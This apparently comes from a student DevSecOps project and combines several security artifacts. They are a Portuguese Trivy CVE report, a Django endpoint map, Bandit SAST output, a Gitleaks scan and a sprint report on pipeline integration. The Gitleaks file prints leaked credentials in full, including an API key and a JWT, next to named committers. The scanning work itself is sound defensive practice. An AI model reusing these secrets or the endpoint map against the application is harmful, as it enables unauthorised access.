149 |
150 | ### **CVE-2023-52425**
151 | - **Biblioteca**: **libexpat1**
152 | - **Versão**: **2.5.0-1**
153 | - **Criticalidade**: **HIGH**
154 | - **Status**: **affected**
155 | - **Descrição**: libexpat até 2.5.0 permite uma negação de serviço (DoS) porque muitas reanálises completas são necessárias no caso de um token grande para o qual são necessários vários preenchimentos de buffer.
156 | - **Recomendação**: Atualizar para uma versão mais recente que não seja vulnerável.
157 | - **DoS e DDoS**
158 | - **Descrição**: Um ataque de negação de serviço (DoS) ocorre quando um sistema é sobrecarregado com solicitações maliciosas, resultando em uma interrupção do serviço. No caso da libexpat, um token grande pode causar várias reanálises completas, levando a um DoS. Ataques de negação de serviço distribuídos (DDoS) podem ser ainda mais prejudiciais, pois envolvem múltiplos dispositivos atacando simultaneamente.
159 |
160 |
161 |
162 |
163 |
164 |
165 | ### **CVE-2024-2236**
166 | - **Biblioteca**: **libgcrypt**
167 | - **Versão**: **1.10.1-3**
168 | - **Criticalidade**: **MEDIUM**
169 | - **Status**: **fix_deferred**
170 | - **Descrição**: Uma falha de canal lateral baseada em temporização foi encontrada na implementação RSA da **libgcrypt**. Esse problema pode permitir que um invasor remoto inicie um ataque do tipo **Bleichenbacher**, que pode levar à **descriptografia de textos cifrados RSA.**
171 | - **Recomendação**: Atualizar para uma versão mais recente que não seja vulnerável.
172 | - **Canal Lateral e Ataques Bleichenbacher**
173 | - **Descrição**: Um ataque de canal lateral baseado em temporização explora a variação no tempo de execução de um algoritmo criptográfico para inferir informações sobre os dados processados. No caso da libgcrypt, essa vulnerabilidade pode ser explorada para descriptografar textos cifrados RSA. Ataques do tipo Bleichenbacher são uma forma de ataque de canal lateral que visa decifrar mensagens criptografadas
174 |
175 |
176 |
177 |
178 |
179 | ## **Recomendações de Correção**
180 |
181 | - **Atualizar Dependências Vulneráveis**: Corrigir as vulnerabilidades críticas e de alta prioridade atualizando as bibliotecas afetadas para versões mais recentes.
182 |
183 | - **Adicionar Trivy ao Pipeline**: Manter o Trivy integrado ao pipeline de CI/CD para garantir que novas vulnerabilidades sejam detectadas e corrigidas continuamente.
184 |
185 | - **Repensar a versão que a imagem usa de Base pelo Docker**: A imagem base utilizada é a `python:3.11.9-slim-bookworm`, que possui vulnerabilidades críticas herdados da imagem `debian:12-slim`. Recomenda-se pesquisa e escolha de uma imagem base mais segura.
186 | Na data atual as imagens com final `-slim-bookworm` estão na versão `3.14.0a4` e `3.14.0a5`, 3 updates minors a frente da versão utilizada e com correções de segurança para várias das vulnerabilidades encontradas.
187 |
188 | - **Realizar um DAST**: Realizar um **teste de segurança dinâmico (DAST)** utilizando as vulnerabilidades encontradas pelas rodadas de SAST implementadas nas sprints anteriores. Isso permitirá identificar possíveis falhas de segurança que podem ser exploradas por atacantes.
189 |
190 |
191 |
192 | [running]: ../Images/trivy_running.png
193 | [results]: ../Images/trivy_results.png
194 | [buffer_overflow]: ../Images/buffer_overflow.png
195 | [privilage_escalation]: ../Images/privilage_escalation.png
196 | [ddos]: ../Images/ddos.png
197 | [side_channel]: ../Images/side_channel.png
198 |
--------------------------------------------------------------------------------
/2024.2/url_mec_energia.txt:
--------------------------------------------------------------------------------
1 | SUB-GRUPO 4
2 | ===========
3 | /api-auth/login/ django.contrib.auth.views.LoginView rest_framework:login
4 | /api-auth/logout/ django.contrib.auth.views.LogoutView rest_framework:logout
5 | /api/ rest_framework.routers.APIRootView api-root
6 | /api/ rest_framework.routers.APIRootView api-root
7 | /api/admin/ django.contrib.admin.sites.index admin:index
8 | /api/admin// django.contrib.admin.sites.app_index admin:app_list
9 | /api/admin/ django.contrib.admin.sites.catch_all_view
10 | /api/admin/auth/group/ django.contrib.admin.options.changelist_view admin:auth_group_changelist
11 | /api/admin/auth/group// django.views.generic.base.RedirectView
12 | /api/admin/auth/group//change/ django.contrib.admin.options.change_view admin:auth_group_change
13 | /api/admin/auth/group//delete/ django.contrib.admin.options.delete_view admin:auth_group_delete
14 | /api/admin/auth/group//history/ django.contrib.admin.options.history_view admin:auth_group_history
15 | /api/admin/auth/group/add/ django.contrib.admin.options.add_view admin:auth_group_add
16 | /api/admin/authtoken/tokenproxy/ django.contrib.admin.options.changelist_view admin:authtoken_tokenproxy_changelist
17 | /api/admin/authtoken/tokenproxy// django.views.generic.base.RedirectView
18 | /api/admin/authtoken/tokenproxy//change/ django.contrib.admin.options.change_view admin:authtoken_tokenproxy_change
19 | /api/admin/authtoken/tokenproxy//delete/ django.contrib.admin.options.delete_view admin:authtoken_tokenproxy_delete
20 | /api/admin/authtoken/tokenproxy//history/ django.contrib.admin.options.history_view admin:authtoken_tokenproxy_history
21 | /api/admin/authtoken/tokenproxy/add/ django.contrib.admin.options.add_view admin:authtoken_tokenproxy_add
22 | /api/admin/autocomplete/ django.contrib.admin.sites.autocomplete_view admin:autocomplete
23 | /api/admin/contracts/contract/ django.contrib.admin.options.changelist_view admin:contracts_contract_changelist
24 | /api/admin/contracts/contract// django.views.generic.base.RedirectView
25 | /api/admin/contracts/contract//change/ django.contrib.admin.options.change_view admin:contracts_contract_change
26 | /api/admin/contracts/contract//delete/ django.contrib.admin.options.delete_view admin:contracts_contract_delete
27 | /api/admin/contracts/contract//history/ django.contrib.admin.options.history_view admin:contracts_contract_history
28 | /api/admin/contracts/contract/add/ django.contrib.admin.options.add_view admin:contracts_contract_add
29 | /api/admin/contracts/energybill/ django.contrib.admin.options.changelist_view admin:contracts_energybill_changelist
30 | /api/admin/contracts/energybill// django.views.generic.base.RedirectView
31 | /api/admin/contracts/energybill//change/ django.contrib.admin.options.change_view admin:contracts_energybill_change
32 | /api/admin/contracts/energybill//delete/ django.contrib.admin.options.delete_view admin:contracts_energybill_delete
33 | /api/admin/contracts/energybill//history/ django.contrib.admin.options.history_view admin:contracts_energybill_history
34 | /api/admin/contracts/energybill/add/ django.contrib.admin.options.add_view admin:contracts_energybill_add
35 | /api/admin/easyaudit/crudevent/ django.contrib.admin.options.changelist_view admin:easyaudit_crudevent_changelist
36 | /api/admin/easyaudit/crudevent// django.views.generic.base.RedirectView
37 | /api/admin/easyaudit/crudevent//change/ django.contrib.admin.options.change_view admin:easyaudit_crudevent_change
38 | /api/admin/easyaudit/crudevent//delete/ django.contrib.admin.options.delete_view admin:easyaudit_crudevent_delete
39 | /api/admin/easyaudit/crudevent//history/ django.contrib.admin.options.history_view admin:easyaudit_crudevent_history
40 | /api/admin/easyaudit/crudevent/add/ django.contrib.admin.options.add_view admin:easyaudit_crudevent_add
41 | /api/admin/easyaudit/crudevent/purge/ easyaudit.admin_helpers.purge admin:easyaudit_crudevent_purge
42 | /api/admin/easyaudit/loginevent/ django.contrib.admin.options.changelist_view admin:easyaudit_loginevent_changelist
43 | /api/admin/easyaudit/loginevent// django.views.generic.base.RedirectView
44 | /api/admin/easyaudit/loginevent//change/ django.contrib.admin.options.change_view admin:easyaudit_loginevent_change
45 | /api/admin/easyaudit/loginevent//delete/ django.contrib.admin.options.delete_view admin:easyaudit_loginevent_delete
46 | /api/admin/easyaudit/loginevent//history/ django.contrib.admin.options.history_view admin:easyaudit_loginevent_history
47 | /api/admin/easyaudit/loginevent/add/ django.contrib.admin.options.add_view admin:easyaudit_loginevent_add
48 | /api/admin/easyaudit/loginevent/purge/ easyaudit.admin_helpers.purge admin:easyaudit_loginevent_purge
49 | /api/admin/easyaudit/requestevent/ django.contrib.admin.options.changelist_view admin:easyaudit_requestevent_changelist
50 | /api/admin/easyaudit/requestevent// django.views.generic.base.RedirectView
51 | /api/admin/easyaudit/requestevent//change/ django.contrib.admin.options.change_view admin:easyaudit_requestevent_change
52 | /api/admin/easyaudit/requestevent//delete/ django.contrib.admin.options.delete_view admin:easyaudit_requestevent_delete
53 | /api/admin/easyaudit/requestevent//history/ django.contrib.admin.options.history_view admin:easyaudit_requestevent_history
54 | /api/admin/easyaudit/requestevent/add/ django.contrib.admin.options.add_view admin:easyaudit_requestevent_add
55 | /api/admin/easyaudit/requestevent/purge/ easyaudit.admin_helpers.purge admin:easyaudit_requestevent_purge
56 | /api/admin/jsi18n/ django.contrib.admin.sites.i18n_javascript admin:jsi18n
57 | ==========
58 | SUB-GRUPO 3
59 | /api/admin/login/ django.contrib.admin.sites.login admin:login
60 | /api/admin/logout/ django.contrib.admin.sites.logout admin:logout
61 | /api/admin/password_change/ django.contrib.admin.sites.password_change admin:password_change
62 | /api/admin/password_change/done/ django.contrib.admin.sites.password_change_done admin:password_change_done
63 | /api/admin/r/// django.contrib.contenttypes.views.shortcut admin:view_on_site
64 | /api/admin/tariffs/distributor/ django.contrib.admin.options.changelist_view admin:tariffs_distributor_changelist
65 | /api/admin/tariffs/distributor// django.views.generic.base.RedirectView
66 | /api/admin/tariffs/distributor//change/ django.contrib.admin.options.change_view admin:tariffs_distributor_change
67 | /api/admin/tariffs/distributor//delete/ django.contrib.admin.options.delete_view admin:tariffs_distributor_delete
68 | /api/admin/tariffs/distributor//history/ django.contrib.admin.options.history_view admin:tariffs_distributor_history
69 | /api/admin/tariffs/distributor/add/ django.contrib.admin.options.add_view admin:tariffs_distributor_add
70 | /api/admin/tariffs/tariff/ django.contrib.admin.options.changelist_view admin:tariffs_tariff_changelist
71 | /api/admin/tariffs/tariff// django.views.generic.base.RedirectView
72 | /api/admin/tariffs/tariff//change/ django.contrib.admin.options.change_view admin:tariffs_tariff_change
73 | /api/admin/tariffs/tariff//delete/ django.contrib.admin.options.delete_view admin:tariffs_tariff_delete
74 | /api/admin/tariffs/tariff//history/ django.contrib.admin.options.history_view admin:tariffs_tariff_history
75 | /api/admin/tariffs/tariff/add/ django.contrib.admin.options.add_view admin:tariffs_tariff_add
76 | /api/admin/universities/consumerunit/ django.contrib.admin.options.changelist_view admin:universities_consumerunit_changelist
77 | /api/admin/universities/consumerunit// django.views.generic.base.RedirectView
78 | /api/admin/universities/consumerunit//change/ django.contrib.admin.options.change_view admin:universities_consumerunit_change
79 | /api/admin/universities/consumerunit//delete/ django.contrib.admin.options.delete_view admin:universities_consumerunit_delete
80 | /api/admin/universities/consumerunit//history/ django.contrib.admin.options.history_view admin:universities_consumerunit_history
81 | /api/admin/universities/consumerunit/add/ django.contrib.admin.options.add_view admin:universities_consumerunit_add
82 | /api/admin/universities/university/ django.contrib.admin.options.changelist_view admin:universities_university_changelist
83 | /api/admin/universities/university// django.views.generic.base.RedirectView
84 | /api/admin/universities/university//change/ django.contrib.admin.options.change_view admin:universities_university_change
85 | /api/admin/universities/university//delete/ django.contrib.admin.options.delete_view admin:universities_university_delete
86 | /api/admin/universities/university//history/ django.contrib.admin.options.history_view admin:universities_university_history
87 | /api/admin/universities/university/add/ django.contrib.admin.options.add_view admin:universities_university_add
88 | /api/admin/users/customuser/ django.contrib.admin.options.changelist_view admin:users_customuser_changelist
89 | /api/admin/users/customuser//password/ django.contrib.auth.admin.user_change_password admin:auth_user_password_change
90 | /api/admin/users/customuser// django.views.generic.base.RedirectView
91 | /api/admin/users/customuser//change/ django.contrib.admin.options.change_view admin:users_customuser_change
92 | /api/admin/users/customuser//delete/ django.contrib.admin.options.delete_view admin:users_customuser_delete
93 | /api/admin/users/customuser//history/ django.contrib.admin.options.history_view admin:users_customuser_history
94 | /api/admin/users/customuser/add/ django.contrib.auth.admin.add_view admin:users_customuser_add
95 | /api/admin/users/universityuser/ django.contrib.admin.options.changelist_view admin:users_universityuser_changelist
96 | /api/admin/users/universityuser//password/ django.contrib.auth.admin.user_change_password admin:auth_user_password_change
97 | /api/admin/users/universityuser// django.views.generic.base.RedirectView
98 | /api/admin/users/universityuser//change/ django.contrib.admin.options.change_view admin:users_universityuser_change
99 | /api/admin/users/universityuser//delete/ django.contrib.admin.options.delete_view admin:users_universityuser_delete
100 | /api/admin/users/universityuser//history/ django.contrib.admin.options.history_view admin:users_universityuser_history
101 | /api/admin/users/universityuser/add/ django.contrib.auth.admin.add_view admin:users_universityuser_add
102 | /api/clear-cache/ mec_energia.views.ClearCacheView clear_cache
103 | =======================
104 | SUB-GRUPO 2
105 | /api/consumer-units/ universities.views.ConsumerUnitViewSet consumerunit-list
106 | /api/consumer-units// universities.views.ConsumerUnitViewSet consumerunit-detail
107 | /api/consumer-units/\./ universities.views.ConsumerUnitViewSet consumerunit-detail
108 | /api/consumer-units/create_consumer_unit_and_contract/ universities.views.ConsumerUnitViewSet consumerunit-create-consumer-unit-and-contract
109 | /api/consumer-units/create_consumer_unit_and_contract\./ universities.views.ConsumerUnitViewSet consumerunit-create-consumer-unit-and-contract
110 | /api/consumer-units/edit_consumer_unit_and_contract/ universities.views.ConsumerUnitViewSet consumerunit-edit-consumer-unit-and-contract
111 | /api/consumer-units/edit_consumer_unit_and_contract\./ universities.views.ConsumerUnitViewSet consumerunit-edit-consumer-unit-and-contract
112 | /api/consumer-units/edit_consumer_unit_code_and_create_contract/ universities.views.ConsumerUnitViewSet consumerunit-edit-consumer-unit-code-and-create-contract
113 | /api/consumer-units/edit_consumer_unit_code_and_create_contract\./ universities.views.ConsumerUnitViewSet consumerunit-edit-consumer-unit-code-and-create-contract
114 | /api/consumer-units\./ universities.views.ConsumerUnitViewSet consumerunit-list
115 | /api/contracts/ contracts.views.ContractViewSet contract-list
116 | /api/contracts// contracts.views.ContractViewSet contract-detail
117 | /api/contracts/\./ contracts.views.ContractViewSet contract-detail
118 | /api/contracts/get-current-contract-of-consumer-unit/ contracts.views.ContractViewSet contract-get-current-contract-of-consumer-unit
119 | /api/contracts/get-current-contract-of-consumer-unit\./ contracts.views.ContractViewSet contract-get-current-contract-of-consumer-unit
120 | /api/contracts/list-subgroups/ contracts.views.ContractViewSet contract-list-subgroups
121 | /api/contracts/list-subgroups\./ contracts.views.ContractViewSet contract-list-subgroups
122 | /api/contracts\./ contracts.views.ContractViewSet contract-list
123 | /api/distributors/ tariffs.views.DistributorViewSet distributor-list
124 | /api/distributors// tariffs.views.DistributorViewSet distributor-detail
125 | /api/distributors//consumer-units-by-subgroup/ tariffs.views.DistributorViewSet distributor-consumer-units-separated-by-subgroup
126 | /api/distributors//consumer-units-by-subgroup\./ tariffs.views.DistributorViewSet distributor-consumer-units-separated-by-subgroup
127 | /api/distributors//get-tariffs/ tariffs.views.DistributorViewSet distributor-get-blue-and-green-tariffs
128 | /api/distributors//get-tariffs\./ tariffs.views.DistributorViewSet distributor-get-blue-and-green-tariffs
129 | /api/distributors/\./ tariffs.views.DistributorViewSet distributor-detail
130 | /api/distributors\./ tariffs.views.DistributorViewSet distributor-list
131 | /api/download-step-by-step-pdf/ tariffs.views.DownloadPDFViewSet download-pdf-list
132 | /api/download-step-by-step-pdf\./ tariffs.views.DownloadPDFViewSet download-pdf-list
133 | /api/energy-bills/ contracts.views.EnergyBillViewSet energybill-list
134 | /api/energy-bills// contracts.views.EnergyBillViewSet energybill-detail
135 | /api/energy-bills/\./ contracts.views.EnergyBillViewSet energybill-detail
136 | /api/energy-bills/download-csv-model/ contracts.views.EnergyBillViewSet energybill-download-csv-model
137 | /api/energy-bills/download-csv-model\./ contracts.views.EnergyBillViewSet energybill-download-csv-model
138 | /api/energy-bills/download-xlsx-model/ contracts.views.EnergyBillViewSet energybill-download-xlsx-model
139 | /api/energy-bills/download-xlsx-model\./ contracts.views.EnergyBillViewSet energybill-download-xlsx-model
140 | /api/energy-bills/multiple_create/ contracts.views.EnergyBillViewSet energybill-multiple-create
141 | /api/energy-bills/multiple_create\./ contracts.views.EnergyBillViewSet energybill-multiple-create
142 | /api/energy-bills/plot-graph/ contracts.views.EnergyBillViewSet energybill-plot-graph
143 | /api/energy-bills/plot-graph\./ contracts.views.EnergyBillViewSet energybill-plot-graph
144 | /api/energy-bills/upload/ contracts.views.EnergyBillViewSet energybill-upload-csv
145 | /api/energy-bills/upload\./ contracts.views.EnergyBillViewSet energybill-upload-csv
146 | /api/energy-bills\./ contracts.views.EnergyBillViewSet energybill-list
147 | /api/global-search-recommendation// global_search_recommendation.views.GlobalSearchRecommendationViewSet global-search-recommendation-detail
148 | /api/global-search-recommendation/\./ global_search_recommendation.views.GlobalSearchRecommendationViewSet global-search-recommendation-detail
149 | /api/percentile-recommendation// recommendation.views.RecommendationViewSet percentile-recommendation-detail
150 | /api/percentile-recommendation/\./ recommendation.views.RecommendationViewSet percentile-recommendation-detail
151 | /api/recommendation-settings/ recommendation_commons.recommendation_settings.RecommendationSettings recommendation-settings-list
152 | /api/recommendation-settings\./ recommendation_commons.recommendation_settings.RecommendationSettings recommendation-settings-list
153 | /api/recommendation// recommendation.views.RecommendationViewSet recommendation-detail
154 | /api/recommendation/\./ recommendation.views.RecommendationViewSet recommendation-detail
155 | /api/reset-password-admin/ users.authentications.ResetPasswordByAdmin
156 | /api/reset-password/ users.authentications.ResetPassword
157 | /api/reset-password/confirm users.authentications.ConfirmResetPassword
158 | /api/swagger/schema/ drf_yasg.views.SchemaView
159 | /api/tariffs/ tariffs.views.TariffViewSet tariff-list
160 | /api/tariffs// tariffs.views.TariffViewSet tariff-detail
161 | /api/tariffs/\./ tariffs.views.TariffViewSet tariff-detail
162 | /api/tariffs\./ tariffs.views.TariffViewSet tariff-list
163 | /api/token/ users.authentications.Authentication
164 | /api/token/logout/ users.authentications.Logout
165 | ===
166 | SUB-GRUPO 1
167 | /api/universities/ universities.views.UniversityViewSet university-list
168 | /api/universities// universities.views.UniversityViewSet university-detail
169 | /api/universities/\./ universities.views.UniversityViewSet university-detail
170 | /api/universities\./ universities.views.UniversityViewSet university-list
171 | /api/university-user/ users.views.UniversityUsersViewSet universityuser-list
172 | /api/university-user// users.views.UniversityUsersViewSet universityuser-detail
173 | /api/university-user//favorite-consumer-units/ users.views.UniversityUsersViewSet universityuser-add-or-remove-favorite-consumer-unit
174 | /api/university-user//favorite-consumer-units\./ users.views.UniversityUsersViewSet universityuser-add-or-remove-favorite-consumer-unit
175 | /api/university-user/\./ users.views.UniversityUsersViewSet universityuser-detail
176 | /api/university-user/change-university-user-type/ users.views.UniversityUsersViewSet universityuser-change-university-user-type
177 | /api/university-user/change-university-user-type\./ users.views.UniversityUsersViewSet universityuser-change-university-user-type
178 | /api/university-user\./ users.views.UniversityUsersViewSet universityuser-list
179 | /api/users/ users.views.CustomUserViewSet customuser-list
180 | /api/users// users.views.CustomUserViewSet customuser-detail
181 | /api/users/\./ users.views.CustomUserViewSet customuser-detail
182 | /api/users/change-user-password/ users.views.CustomUserViewSet customuser-change-user-password
183 | /api/users/change-user-password\./ users.views.CustomUserViewSet customuser-change-user-password
184 | /api/users\./ users.views.CustomUserViewSet customuser-list
185 |
--------------------------------------------------------------------------------
/2025.1/EJ/BlueTeam/artefatos/bandit-report.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 | Bandit Report
10 |
11 |
12 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 | Metrics:
82 |
83 | Total lines of code:
13845
84 | Total lines skipped (#nosec):
0
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
117 |
118 |
141 |
142 |
164 |
165 |
166 |
167 |
try_except_pass: Try, Except, Pass detected.
168 |
Test ID: B110
169 |
Severity: LOW
170 |
Confidence: HIGH
171 |
CWE: CWE-703
172 |
File: src/ej/urls.py
173 |
Line number: 70
174 |
More info: https://bandit.readthedocs.io/en/1.8.3/plugins/b110_try_except_pass.html
175 |
176 |
177 |
178 | 69 log.info(f"Including {app_config} URLs using get_apps_dynamic_urls()")
179 | 70 except Exception:
180 | 71 pass
181 | 72 return apps_urls
182 |
183 |
184 |
185 |
186 |
187 |
188 |
189 |
211 |
212 |
235 |
236 |
259 |
260 |
283 |
284 |
285 |
286 |
jinja2_autoescape_false: By default, jinja2 sets autoescape to False. Consider using autoescape=True or use the select_autoescape function to mitigate XSS vulnerabilities.
287 |
Test ID: B701
288 |
Severity: HIGH
289 |
Confidence: HIGH
290 |
CWE: CWE-94
291 |
File: src/ej_integrations/mailing.py
292 |
Line number: 60
293 |
More info: https://bandit.readthedocs.io/en/1.8.3/plugins/b701_jinja2_autoescape_false.html
294 |
295 |
296 |
297 | 59 templates_dir = os.path.join(root, "./jinja2/ej_integrations")
298 | 60 env = Environment(loader=FileSystemLoader(templates_dir))
299 | 61 host = get_host_with_schema(self.request)
300 |
301 |
302 |
303 |
304 |
305 |
306 |
307 |
329 |
330 |
331 |
332 |
hashlib: Use of weak MD5 hash for security. Consider usedforsecurity=False
333 |
Test ID: B324
334 |
Severity: HIGH
335 |
Confidence: HIGH
336 |
CWE: CWE-327
337 |
File: src/ej_profiles/models.py
338 |
Line number: 326
339 |
More info: https://bandit.readthedocs.io/en/1.8.3/plugins/b324_hashlib.html
340 |
341 |
342 |
343 | 325 """
344 | 326 digest = hashlib.md5(id_.encode("utf-8")).hexdigest()
345 | 327 return "https://gravatar.com/avatar/{}?s=40&d=mm".format(digest)
346 |
347 |
348 |
349 |
350 |
351 |
352 |
353 |
354 |
355 |
356 |
357 |
--------------------------------------------------------------------------------
/2025.1/EJ/BlueTeam/artefatos/gitleaks.md:
--------------------------------------------------------------------------------
1 | # Gitleaks Scan Summary
2 |
3 | ## Secrets Found:
4 |
5 | ### Finding Type: generic-api-key
6 | - **Description:** Detected a Generic API Key, potentially exposing access to various services and sensitive operations.
7 | - **File:** .gitlab-ci.yml
8 | - **Line:** 10
9 | - **Secret:** `51xTbvyHGmEfeZZUxUct`
10 | - **Commit:** 3c5d08ea4998b074856236bde063faac617c2114
11 | - **Author:** Lude Yuri de Castro Ribeiro
12 | - **Tags:**
13 | ---
14 | ### Finding Type: jwt
15 | - **Description:** Uncovered a JSON Web Token, which may lead to unauthorized access to web applications and sensitive user data.
16 | - **File:** docs/development-guides/pt-br/api.rst
17 | - **Line:** 30
18 | - **Secret:** `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbl90eXBlIjoicmVmcmVzaCIsImV4cCI6MTcxNjMwODkwOSwiaWF0IjoxNzE2MjIyNTA5LCJqdGkiOiI2MDNmYTYzOGRiNjU0ZDc5ODA5NjU3NWUxYjgwY2NiOCIsInVzZXJfaWQiOjc5Nn0.3QZdVL9A_EcAb5LJFWdcSHXRQ8ZWJ2P5RGq8yE9JzRc`
19 | - **Commit:** 3c5d08ea4998b074856236bde063faac617c2114
20 | - **Author:** Lude Yuri de Castro Ribeiro
21 | - **Tags:**
22 | ---
23 | ### Finding Type: generic-api-key
24 | - **Description:** Detected a Generic API Key, potentially exposing access to various services and sensitive operations.
25 | - **File:** src/ej_users/tests/test_api.py
26 | - **Line:** 129
27 | - **Secret:** `8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92`
28 | - **Commit:** 3c5d08ea4998b074856236bde063faac617c2114
29 | - **Author:** Lude Yuri de Castro Ribeiro
30 | - **Tags:**
31 | ---
32 | ### Finding Type: generic-api-key
33 | - **Description:** Detected a Generic API Key, potentially exposing access to various services and sensitive operations.
34 | - **File:** .gitlab-ci.yml
35 | - **Line:** 10
36 | - **Secret:** `51xTbvyHGmEfeZZUxUct`
37 | - **Commit:** 52e55e2b23c229ea0473c25123717bcd8746b02e
38 | - **Author:** David Carlos
39 | - **Tags:**
40 | ---
41 | ### Finding Type: jwt
42 | - **Description:** Uncovered a JSON Web Token, which may lead to unauthorized access to web applications and sensitive user data.
43 | - **File:** docs/development-guides/pt-br/api.rst
44 | - **Line:** 30
45 | - **Secret:** `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbl90eXBlIjoicmVmcmVzaCIsImV4cCI6MTcxNjMwODkwOSwiaWF0IjoxNzE2MjIyNTA5LCJqdGkiOiI2MDNmYTYzOGRiNjU0ZDc5ODA5NjU3NWUxYjgwY2NiOCIsInVzZXJfaWQiOjc5Nn0.3QZdVL9A_EcAb5LJFWdcSHXRQ8ZWJ2P5RGq8yE9JzRc`
46 | - **Commit:** 52e55e2b23c229ea0473c25123717bcd8746b02e
47 | - **Author:** David Carlos
48 | - **Tags:**
49 | ---
50 | ### Finding Type: generic-api-key
51 | - **Description:** Detected a Generic API Key, potentially exposing access to various services and sensitive operations.
52 | - **File:** src/ej_users/tests/test_api.py
53 | - **Line:** 129
54 | - **Secret:** `8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92`
55 | - **Commit:** 52e55e2b23c229ea0473c25123717bcd8746b02e
56 | - **Author:** David Carlos
57 | - **Tags:**
58 | ---
59 |
--------------------------------------------------------------------------------
/2025.1/EJ/BlueTeam/relatorios/sprint1.md:
--------------------------------------------------------------------------------
1 | # Relatório de Implementação de SAST - Projeto EJ
2 |
3 | ## Introdução
4 |
5 | Este relatório documenta a implementação de Static Application Security Testing (SAST) na pipeline de CI/CD do projeto EJ-Application. A ferramenta escolhida foi o Bandit, específica para análise de segurança em código Python, conforme requisitos do projeto.
6 |
7 | ## Objetivos
8 |
9 | - Implementar uma ferramenta SAST (Bandit) na pipeline de CI/CD
10 | - Configurar a análise para identificar vulnerabilidades de segurança no código
11 | - Integrar a ferramenta de forma não-bloqueante na fase inicial
12 | - Documentar vulnerabilidades encontradas e próximos passos
13 |
14 | ## Metodologia
15 |
16 | ### 1. Análise do Repositório
17 |
18 | Inicialmente, foi realizada uma análise do repositório [ej-application](https://gitlab.com/pencillabs/ej/ej-application) para identificar:
19 | - Tecnologias utilizadas (exclusivamente Python)
20 | - Estrutura do projeto e organização do código
21 | - Configuração atual da pipeline (.gitlab-ci.yml)
22 | - Ferramentas de qualidade já implementadas
23 |
24 | ### 2. Configuração do Bandit
25 |
26 | Foi criado um arquivo de configuração `.bandit.yaml` na raiz do projeto com as seguintes definições:
27 |
28 | ```yaml
29 | exclude_dirs:
30 | - /tests
31 | - /venv
32 | - /migrations
33 | - /.git
34 | - /.tox
35 | - /lib
36 |
37 | skips:
38 | - B101 # assert_used
39 | - B311 # random
40 | ```
41 |
42 | Esta configuração:
43 | - Exclui diretórios não relevantes para análise de segurança
44 | - Ignora alguns testes específicos para reduzir falsos positivos
45 |
46 | ### 3. Integração na Pipeline
47 |
48 | Foi adicionado um novo estágio "security" na pipeline do GitLab, com um job dedicado para o Bandit:
49 |
50 | ```yaml
51 | bandit:
52 | stage: security
53 | image:
54 | name: python:3.9.19-slim-bookworm
55 | pull_policy: always
56 | before_script:
57 | - /bin/bash -c "pip install bandit==1.8.3"
58 | script:
59 | - /bin/bash -c "bandit -r src -c .bandit.yaml -f html -o bandit-report.html"
60 | - /bin/bash -c "bandit -r src -c .bandit.yaml -ll -ii"
61 | artifacts:
62 | paths:
63 | - bandit-report.html
64 | expire_in: 1 week
65 | when: always
66 | allow_failure: true
67 | ```
68 |
69 | A configuração inclui:
70 | - Uso da mesma versão do Python utilizada no projeto
71 | - Geração de relatório HTML para análise detalhada
72 | - Configuração `allow_failure: true` para não bloquear a pipeline na fase inicial
73 |
74 | ## Resultados
75 |
76 | ### Pipeline Executada
77 |
78 | A implementação foi testada com sucesso na pipeline do GitLab:
79 |
80 | 
81 |
82 | 
83 |
84 | A pipeline completa agora inclui:
85 | - Verificação de estilo (black)
86 | - Análise de lint (ruff)
87 | - Análise de segurança (bandit)
88 | - Testes unitários (pytest)
89 |
90 | ### Vulnerabilidades Encontradas
91 |
92 | O Bandit identificou várias vulnerabilidades no código, incluindo:
93 |
94 | 
95 |
96 | #### Principais vulnerabilidades:
97 |
98 | 1. **Uso de exec() (Risco Médio)**
99 | - **Arquivo**: src/ej/settings/themes.py, linha 23
100 | - **Descrição**: Uso da função `exec()` que pode permitir execução de código arbitrário
101 | - **CWE**: CWE-78
102 |
103 | 2. **Jinja2 sem autoescape (Risco Alto)**
104 | - **Arquivo**: src/ej_integrations/mailing.py, linha 60
105 | - **Descrição**: Ambiente Jinja2 configurado sem autoescape, podendo levar a vulnerabilidades XSS
106 | - **CWE**: CWE-94
107 |
108 | 3. **Uso de hash MD5 fraco (Risco Alto)**
109 | - **Arquivo**: src/ej_profiles/models.py, linha 326
110 | - **Descrição**: Uso de MD5 para hashing, considerado criptograficamente fraco
111 | - **CWE**: CWE-327
112 |
113 | 4. **Try-Except-Pass (Risco Baixo)**
114 | - **Múltiplos arquivos**
115 | - **Descrição**: Blocos try-except vazios que podem ocultar erros importantes
116 | - **CWE**: CWE-703
117 |
118 | 5. **Chamadas a requests sem timeout (Risco Médio)**
119 | - **Arquivo**: src/ej_integrations/utils.py, linha 6
120 | - **Descrição**: Chamadas HTTP sem timeout definido, podendo levar a ataques DoS
121 | - **CWE**: CWE-400
122 |
123 | ### Métricas
124 |
125 | ```
126 | Metrics:
127 | Total lines of code: 13845
128 | Total lines skipped (#nosec): 0
129 |
130 | Run metrics:
131 | Total issues (by severity):
132 | Undefined: 0
133 | Low: 7
134 | Medium: 2
135 | High: 2
136 | Total issues (by confidence):
137 | Undefined: 0
138 | Low: 1
139 | Medium: 0
140 | High: 10
141 | ```
142 |
143 | ## Recomendações
144 |
145 | ### Correções Prioritárias
146 |
147 | 1. **Alta Prioridade**:
148 | - Implementar autoescape no ambiente Jinja2 para prevenir XSS
149 | - Substituir o uso de MD5 por algoritmos mais seguros como SHA-256 ou bcrypt
150 |
151 | 2. **Média Prioridade**:
152 | - Revisar e refatorar o uso de `exec()` para alternativas mais seguras
153 | - Adicionar timeouts em todas as chamadas HTTP
154 |
155 | 3. **Baixa Prioridade**:
156 | - Revisar blocos try-except vazios para incluir tratamento adequado de erros
157 |
158 | ### Próximos Passos
159 |
160 | - Aplicar os conhecimentos adquiridos em DevSecOps para identificar possíveis vulnerabilidades no ciclo de desenvolvimento e propor melhorias.
161 |
162 | - Trabalhar na resolução de issues abertas, priorizando aquelas relacionadas à segurança, estabilidade e boas práticas de desenvolvimento seguro.
163 |
164 | ## Conclusão
165 |
